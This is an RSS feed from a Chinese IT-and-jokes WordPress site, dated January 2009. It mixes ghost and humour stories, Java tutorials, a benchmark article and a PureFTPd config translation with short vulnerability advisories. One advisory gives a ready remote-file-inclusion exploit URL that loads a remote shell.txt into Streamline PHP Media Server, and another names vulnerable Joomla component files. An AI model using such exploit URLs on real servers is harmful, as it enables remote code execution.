<?xml version="1.0" encoding="UTF-8"?><!-- generator="WordPress/2.7" -->
<rss version="0.92">
<channel>
	<title>一孔之见 -- IT只言片语</title>
	<link>http://www.ykzj.org</link>
	<description>IT技术软报道</description>
	<lastBuildDate>Tue, 06 Jan 2009 03:44:46 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>Joomla Component JContentSubscription 1.5.8 Multiple RFI Vulns</title>
		<description><![CDATA[# JContentSubscription Joomla Component 1.5.8 Multiply Remote File Include Vulnerability
   Component    : com_jcs version 1.5.8 - payable component
   Dicovered by : NoGe
   Contact      : pace.noge@hotmail.com
==================================================================================================================================
# Vulnerable file
   /administrator/components/com_jcs/jcs.function.php
   line 6 require_once( $mosConfig_absolute_path.&#8217;/components/com_jcs/languages/english.php&#8217; );
   /administrator/components/com_jcs/view/add.php
  [...]]]></description>
		<link>http://www.ykzj.org/2009/01/06/ykzj-it-article-77921.html</link>
			</item>
	<item>
		<title>碰上女鬼点烟-恐怖笑话</title>
		<description><![CDATA[这件事情是我在当兵的时候，台中的某一个单位，有一次晚上的时候，我们同连的几个同事到后山去喝酒，我睡的床位刚好在墙的旁边。 
那天晚上，我跟我旁边的同事聊天，睡我下铺的那个跟另外一个人喝酒回来，看到他的时候，就说：“喂！某某人呀，给我根烟好吧？”他说：“好！”他给我一根，他自己也抽了一根，然后就上下铺，一共有四个人在聊天，结果烟抽不到两口，就听到下面有奇怪的声音，有人在急速打、打、打的声音，我就跟隔壁的趴下去看一看，头就歪一边看，看到把烟给我的那一个，他戴了眼镜，拿根烟，他在那边打他自己的脸，很奇怪，旁边的那个吓得要死，就抓著他的手：“你在干什么？”然后，他打得自己眼镜、烟啊，都散在旁边掉了。我们两个也害怕了，就下来看，看看说怎么回事？旁边一个走过来，说好像乩童在发作的样子。 
从前我们看电视的时候，好像乩童都是骗人的，不是骗色就是骗财那种感觉，我不太相信这种事情，因为很古怪，后来他打一打，突然不打了，不打之后，停下来嘴巴就开始念，要三柱清香，一直反覆念，我们连长室刚好有香，我们就跑去拿了三柱香，点了给他，这时候，我看到那画面，就跟我们电影的特技镜头是一样的，他人本来是躺著的，当那三柱香交到他手上的时候，他整个人就弹坐起来，他手甚至没有扶，一抓住那三柱香，人就弹坐起来，那种感觉真的很奇怪。 
他开始比划，拿了三柱香在比划，划完之后还很帅的一转，把那个香比到地上，他说（眼睛都闭著）：“今天来这儿修行，没什么事情，但有一些事情要解决。”我听到这个，感觉毛骨悚然，背脊冷得整个灌到脑门上，有点害怕。他开始说话，意思是说，今天他到这个地方来，大家不要担心，要把事情解决，又要了一杯水，我们大家都还不晓得怎么一回事，要来一杯水之后，他就开始划划，念、念、念，突然眼睛睁开，就往后头窗子一扫，把那水洒过去。他躺下去，继续睡觉，他就睡著了，每个人把所看到的部份赶快跟连长报告，跟连长讲完之后，第二天，连长就问他怎么一回事？结果事情原来是，他们从后山回来，就跟了个女的，沿路一直跟、一直跟。那女的就有点想要加害他们的意思，睡我下铺的那个同事，他从前是一个乩童，就是跳八家将，脸上画油彩的那种，他沿路都有发现它在跟，他只觉得他不想去理它，已经回到我们寝室来了，他才一气之下上了身，我觉得最恐怖的一点是，我一直都不知道，我在抽烟的时候，那个女的就在我脚后边，事后想想，就觉得很可怕。
]]></description>
		<link>http://www.ykzj.org/2009/01/06/ykzj-it-article-84123.html</link>
			</item>
	<item>
		<title>Streamline PHP Media Server 1.0-beta4 RFI Vulnerability</title>
		<description><![CDATA[Vulnerability Type: Remote File Inclusion
Vulnerable file: /streamline-1.0-beta4/src/core/theme/includes/account_footer.php
Exploit URL: http://localhost/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: sl_theme_unix_path
Line number: 2
Lines:
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
]]></description>
		<link>http://www.ykzj.org/2009/01/06/ykzj-it-article-77846.html</link>
			</item>
	<item>
		<title>Java网络编程之传输控制协议(二)</title>
		<description><![CDATA[　　四、Socket类
　　Socket类表现了客户端套接字，它是属于一台或两台计算机的两个TCP通讯端口之间的通讯通道。端口可以连接到本地系统的另一个端口，这样可以避免使用另一台计算机，但是大多数网络软件将使用两台计算机。但是TCP套接字不能与两台以上的计算机通讯。如果需要这种功能，客户端应用程序必须建立多个套接字连接，每台计算机一个套接字。
　　构造函数
　　java.net.Socket类有几个构造函数。其中两个构造函数允许使用布尔型参数指定是否使用UDP或TCP套接字，我们不赞成使用它们。这儿没有使用这两个构造函数，并且没有列举在此处&#8211;如果需要UDP功能，请使用DatagramSocket。
　　try
　　{
　　// 连接到指定的主机和端口
　　Socket mySocket = new Socket ( &#8220;www.awl.com&#8221;, 80);
　　// &#8230;&#8230;
　　}
　　catch (Exception e)
　　{
　　System.err.println (&#8221;Err - &#8221;   e);
　　}
　　但是还有很多构造函数可以用于不同的情形。除非特别指出，所有的构造函数都是公共的。
　　? protected Socket ()-使用当前套接字产生组件提供的默认实现建立不连接的套接字。开发者一般不应该使用这个方法，因为它不允许指定主机名称和端口。
　　? Socket (InetAddress address, int port)产生 java.io.IOException异常。
　　? java.lang.SecurityException-建立连接到指定的IP地址和端口的套接字。如果不能建立连接，或连接到主机违反了安全性约束条件（例如某个小的服务程序试图连接到某台计算机而不是载入它的计算机时），就产生这种异常。
　　? Socket (InetAddress address, int port, InetAddress localAddress, int localPort)产生java.io.IOException、java.lang.SecurityException异常-建立连接到指定的地址和端口的套接字，并把它绑定到特定的本地地址和本地端口。默认情况下，使用一个自由（空）的端口，但是在多地址主机环境（例如本地主机有两个或多个的计算机）中，该方法也允许你指定一个特定的端口号、地址。
　　? protected Socket (SocketImpl implementation)&#8211;使用特定的套接字的实现（implementation）建立未连接的套接字。通常情况下开发者不应该使用这个方法，因为它允许指定主机名称和端口。
　　? Socket (String host, int port)产生java.net.UnknownHostException、java.io.IOException、java.lang.SecurityException异常&#8211;建立连接到特定主机和端口的套接字。这个方法允许指定一个字符串而不是一个InetAddress。如果指定的主机名称不能够解析，就不能建立连接，如果违反了安全性约束条件就产生异常。
　　? Socket (String host, int port, InetAddress localAddress, int localPort)产生java.net.UnknownHostException、java.io.IOException、java.lang.SecurityException异常&#8211;建立连接到特定主机和端口的套接字，并绑定到特定的本地端口和地址。它允许指定字符串形式的主机名称，而不是指定InetAddress实例，同时它允许指定一个将绑定的本地地址和端口。这些本地参数对于多地址主机（如果可以通过两个或更多IP地址访问的计算机）是有用的。如果主机名称不能解析，就不能建立连接，如果违反了安全性约束条件会产生异常。
　　1、建立套接字
　　在正常环境下，建立套接字的时候它就连接了某台计算机和端口。尽管有一个空的构造函数，它不需要主机名称或端口，但是它是受保护的（protected），在正常的应用程序中不能够调用它。此外，不存在用于在以后指定这些细节信息的connect()方法，因此在正常的环境下建立套接字的时候就应该连接了。如果网络是好的，在建立连接的时候，调用套接字构造函数将立即返回，但是如果远程计算机没有响应，构造函数方法可能会阻塞一段时间。这是随着系统的不同而不同的，它依赖于多种因素，例如正在使用的操作系统和默认的网络超时设置（例如本地局域网中的一些计算机一般比Internet上的计算机响应得快）。你甚至不能肯定套接字将阻塞多长的时间，但是这是非正常的行为，并且它不会频繁出现。即使如此，在关键事务系统中把此类调用放在第二个线程中或许更合适，这样可以防止应用程序停止。
　　注意
　　在较低的层次，套接字是由套接字产生组件（socket [...]]]></description>
		<link>http://www.ykzj.org/2009/01/06/ykzj-it-article-44090.html</link>
			</item>
	<item>
		<title>报仇-综合笑话</title>
		<description><![CDATA[一天馒头把拉面惹急了，拉面怒火中烧，把馒头“抽”了一顿。馒头不服气，找来花卷和包子，商量要报仇，于是他们三个到街上去找拉面。这时方便面走过来，馒头叫到：“就是这小子！上！”于是不等方便面反应过来，就不分青红皂白揍了方便面一顿。方便面好委屈，说：“我不认识你们，干嘛要打我？！”馒头道：“哼！少装蒜！别以为你烫了个卷发我就不认识你！”
]]></description>
		<link>http://www.ykzj.org/2009/01/06/ykzj-it-article-84175.html</link>
			</item>
	<item>
		<title>新基准下，微软.NET依旧胜出</title>
		<description><![CDATA[　　关于微软公司的.NET应用解决方案和SUN公司的Java解决方案（J2EE）之间的对抗，一直以来都表现的比较尖锐。尤其自去年的PDC大会以来，微软的.NET和SUN公司的JAVA Pet Store的比较而不断地引发出很大的争论。于此之下，2002年10月28日，J2EE主要在线社区TheServerSide.Com网站发表了题为《J2EE和.NET应用服务器及网络服务基准》的报告，发布了一套新的基准，并申明要使用新基准再次进行微软.NET和SUN公司的J2EE之间的比较，比较内容集中在Web服务、分布式计算的执行及可靠性测试。测试的结果出人意料，两位软件巨人在这一次对话中，呈现出了一边倒的局势：微软全线胜出！在新基准的测试中，微软.NET的各项性能指标都远远超过了SUN公司的J2EE。
　　这套新基准是由Middleware公司发布的，内容包括：网络应用基准、分布式计算基准和Web服务基准。有趣的是，测试的最终报告同样来自Middleware公司，而它正是J2EE长期以来的坚定支持者，并且还是TheServerSide.com网站的缔造者。因此，这份报告的权威性和客观性不容置疑。在这报告中，Middleware公司的J2EE开发人员针对微软.NET与SUN公司的J2EE的运行效果和可升级性的比较进行了详细的介绍，这些开发人员建立了一套完全优化的、基于EJB的应用程序，然后在新基准的基础平台之上，把这套应用程序与微软相对应的、用C#开发语言在.NET框架下开发的改进后的应用程序进行了比较。报告显示，经过各种测试，微软.NET在速度上明显比SUN公司的J2EE要快，而且升级性能更好。例如，在Windows.NET Server 2003 系统下，参照新的网络应用基准上，NET 1.1的整体功能要比J2EE 强 339%。
　　Middleware公司有10多年的Java综合开发和咨询经验，一向支持J2EE。该公司人员在充分研究了众多对.NET 和Java Pet Store做过比较的JAVA开发人员的回馈意见，并对最近几个月TheServerSide.Com网站上被热烈讨论的应用基准进行了深入的分析。在此基础上，该公司还对J2EE在企业网络应用方面进行了全面的优化，以增加J2EE的应用效果和可升级性。另外，他们还为J2EE增加了基于EJBs/JTA的分配处理功能以及基于SOAP的网络服务功能。当然，与此同时，微软也在升级其.NET产品，最新的.NET 2.0也有强大的分配处理和网络服务功能，可以在MSDN上应用，并能为建立.NET企业应用解决方案提供优秀的设计模式。
　　事后，Middleware公司在TheServerSide.com网站上公布了这次检测的结果、相关技术文档、代码以及测试脚本，供用户参考和下载。由于此次关于微软.NET和SUN公司的J2EE在同一新基准下的对比测试都是在Middleware公司的J2EE开发人员的指导下完成的，而且结果得到他们的认证，因此这篇报告就更具有了非同寻常的意义。
　　
]]></description>
		<link>http://www.ykzj.org/2009/01/06/ykzj-it-article-44025.html</link>
			</item>
	<item>
		<title>一只呆鸟-愚人笑话</title>
		<description><![CDATA[小鸟虽然已经有女朋友了,可是还是像一个大木头,大家都笑他笨，根本不知道什么叫情调，小鸟下决心要雪耻。有一天晚上,小鸟跟女朋友野鸭走在没有人的路上,觉得很有情调。小鸟：“今晚,我..我可以抱你吗?&#8221;野鸭：“哎呀！人家不好意思嘛！”小鸟：“喔喔喔!好!哪等你好意思的时候再抱你好了！”
]]></description>
		<link>http://www.ykzj.org/2009/01/06/ykzj-it-article-84115.html</link>
			</item>
	<item>
		<title>Java软件架构设计慨论</title>
		<description><![CDATA[　　开始之初的架构设计决定着软件产品的生死存亡。“好的开始相当于成功一半”。
　　开始的架构设计也是最难的，需要调研同类产品的情况以及技术特征，了解当前世界上对这种产品所能提供的理论支持和技术平台支持。再结合自己项目的特点(需要透彻的系统分析)，才能逐步形成自己项目的架构蓝图。
　　比如要开发网站引擎系统，就从Yahoo的个人主页生成工具 到虚拟主机商提供的网站自动生成系统，以及IBM Webphere Portal的特点和局限 从而从架构设计角度定立自己产品的位置。
　　好的设计肯定需要经过反复修改，从简单到复杂的循环测试是保证设计正确的一个好办法
　　由于在开始选择了正确的方向，后来项目的实现过程也验证了这种选择，但在一些架构设计的细部方面，还需要对方案进行修改，属于那种螺旋上升的方式，显然这是通过测试第一的思想和XP工程方法来实现的。
　　如果我们开始的架构设计在技术平台定位具有一定的世界先进水平，那么，项目开发实际有一半相当于做实验，是研发，存在相当的技术风险。
　　因此，一开始我们不可能将每个需求都实现，而是采取一种简单完成架构流程的办法，使用最简单的需求将整个架构都简单的完成一遍（加入人工干预），以检验各个技术环节是否能协调配合工作(非常优秀先进的两种技术有时无法在一起工作)，同时也可以探知技术的深浅，掌握项目中的技术难易点。这个过程完成后，我们就对设计方案做出上面的重大修改，丰富完善了设计方案。
　　设计模式是支撑架构的重要组件
　　架构设计也类似一种工作流，它是动态的，这点不象建筑设计那样，一开始就能完全确定，架构设计伴随着整个项目的进行过程之中，有两种具体操作保证架构设计的正确完成，那就是设计模式(静态)和工程项目方法(RUP或XP 动态的)。
　　设计模式是支撑架构的一种重要组件，这与建筑有很相象的地方，一个建筑物建立设计需要建筑架构设计，在具体施工中，有很多建筑方面的规则和模式。
　　我们从J2EE蓝图模式分类http://java.sun.com/blueprints/patterns/catalog.html中就可以很清楚的看到J2EE这样一个框架软件的架构与设计模式的关系。
　　架构设计是骨架，设计模式就是肉
　　这样，一个比较丰富的设计方案可以交由程序员进一步完成了，载辅助以适当的工程方法，这样就可保证项目的架构设计能正确快速的完成。
　　时刻牢记架构设计的目标
　　由于架构设计是在动态中完成的，因此在把握架构设计的目标上就很重要，因此在整个项目过程中，甚至每一步我们都必须牢记我们架构设计的总体目标，可以概括下面几点：
　　1. 最大化的重用：这个重用包括组件重用 和设计模式使用等多个方面。
　　比如，我们项目中有用户注册和用户权限系统验证，这其实是个通用课题，每个项目只是有其内容和一些细微的差别，如果我们之前有这方面成功研发经验，可以直接重用，如果没有，那么我们就要进行这个子项目的研发，在研发过程中，不能仅仅看到这个项目的需求，也要以架构的概念去完成这个可以称为组件的子项目。
　　2. 尽可能的简单明了：我们解决问题的总方向是将复杂问题简单化，其实这也是中间件或多层体系技术的根本目标。但是在具体实施设计过程中，我们可能会将简单问题复杂化，特别是设计模式的运用上很容易范这个错误，因此如何尽可能的做到设计的简单明了是不容易的。
　　我认为落实到每个类的具体实现上要真正能体现系统事物的本质特征，因为事物的本质特征只有一个，你的代码越接近它，表示你的设计就是简单明了，越简单明了，你的系统就越可靠。更多情况是，一个类并不能反应事物本质，需要多个类的组合协调，那么能够正确使用合适的设计模式就称为重中之重。
　　我们看一个具备好的架构设计的系统代码时，基本看到的都是设计模式，宠物店(pet store)就是这样的例子。或者可以这样说，一个好的架构设计基本是由简单明了的多个设计模式完成的。
　　3. 最灵活的拓展性：架构设计要具备灵活性 拓展性，这样，用户可以在你的架构上进行二次开发或更加具体的开发。
　　要具备灵活的拓展性，就要站在理论的高度去进行架构设计，比如现在工作流概念逐步流行，因为我们具体很多实践项目中都有工作流的影子，工作流中有一个树形结构权限设定的概念就对很多领域比较通用。
　　树形结构是组织信息的基本形式，我们现在看到的网站或者ERP前台都是以树形菜单来组织功能的，那么我们在进行架构设计时，就可以将树形结构和功能分开设计，他们之间联系可以通过树形结构的节点link在一起，就象我们可以在圣诞树的树枝上挂各种小礼品一样，这些小礼品就是我们要实现的各种功能。
　　有了这个概念，通常比较难实现的用户级别权限控制也有了思路，将具体用户或组也是和树形结构的节点link在一起，这样就间接实现了用户对相应功能的权限控制，有了这样的基本设计方案的架构无疑具备很灵活的拓展性。
　　
]]></description>
		<link>http://www.ykzj.org/2009/01/06/ykzj-it-article-44001.html</link>
			</item>
	<item>
		<title>熬夜翻译完的PureFTPd配置文件</title>
		<description><![CDATA[　　干了个通宵，一边玩一边把配置文件翻译完了，翻得不好的地方还请各位多多提点，少许不是很明白的地方就留在那了。
　　鼓励转贴，分发，为所有看到E文头痛的兄弟们帮点小忙，PureFTPd的文档本来就不多，中文的更少了。从配置文件中就能看出不少PureFTPd的好功能来了。
　　来CU很久了，收获很多，这篇小文算是对CU的一点点小贡献。
　　############################################################
　　# #
　　# Configuration file for pure-ftpd wrappers #
　　# #
　　############################################################
　　# 如果你想要使用配置文件代替命令行选项来运行 Pure-FTPd ，请运行下面的命令：
　　#
　　# /usr/local/pureftpd/sbin/pure-config.pl /usr/local/pureftpd/etc/pure-ftpd.conf
　　#
　　# RPM 缺省使用另外一个配置文件：
　　# /etc/sysconfig/pure-ftpd
　　#
　　# 请不要忘了浏览一下 http://www.pureftpd.org/documentation.html 的
　　# 文档，查看全部的选项列表。
　　# 限制所有用户在其主目录中
　　ChrootEveryone yes
　　# 如果前一个指令被设置为了 &#8220;no&#8221;，下面组的成员(GID)就不受主目录的限制了。而其他的用户还是
　　# 会被限制在自己的主目录里。如果你不想把任何用户限制在自己的主目录里，只要注释掉 ChrootEveryone
　　# 和 TrustedGID 就可以了。
　　# TrustedGID 100
　　# 兼容ie等比较非正规化的ftp客户端
　　BrokenClientsCompatibility no
　　# 服务器总共允许同时连接的最大用户数
　　MaxClientsNumber 50
　　# 做为守护(doemon)进程运行(Fork in background)
　　Daemonize yes
　　# 同一IP允许同时连接的用户数（Maximum number of sim clients with the same IP address）
　　MaxClientsPerIP 8
　　# 如果你要记录所有的客户命令，设置这个指令为 &#8220;yes&#8221;。
　　# This directive [...]]]></description>
		<link>http://www.ykzj.org/2009/01/06/ykzj-it-article-7960.html</link>
			</item>
	<item>
		<title>PHP 4.0.3 IMAP模块远程缓冲区溢出漏洞</title>
		<description><![CDATA[]]></description>
		<link>http://www.ykzj.org/2009/01/06/ykzj-it-article-65763.html</link>
			</item>
</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.511 seconds -->
<!-- Cached page generated by WP-Super-Cache on 2009-01-06 16:02:00 -->
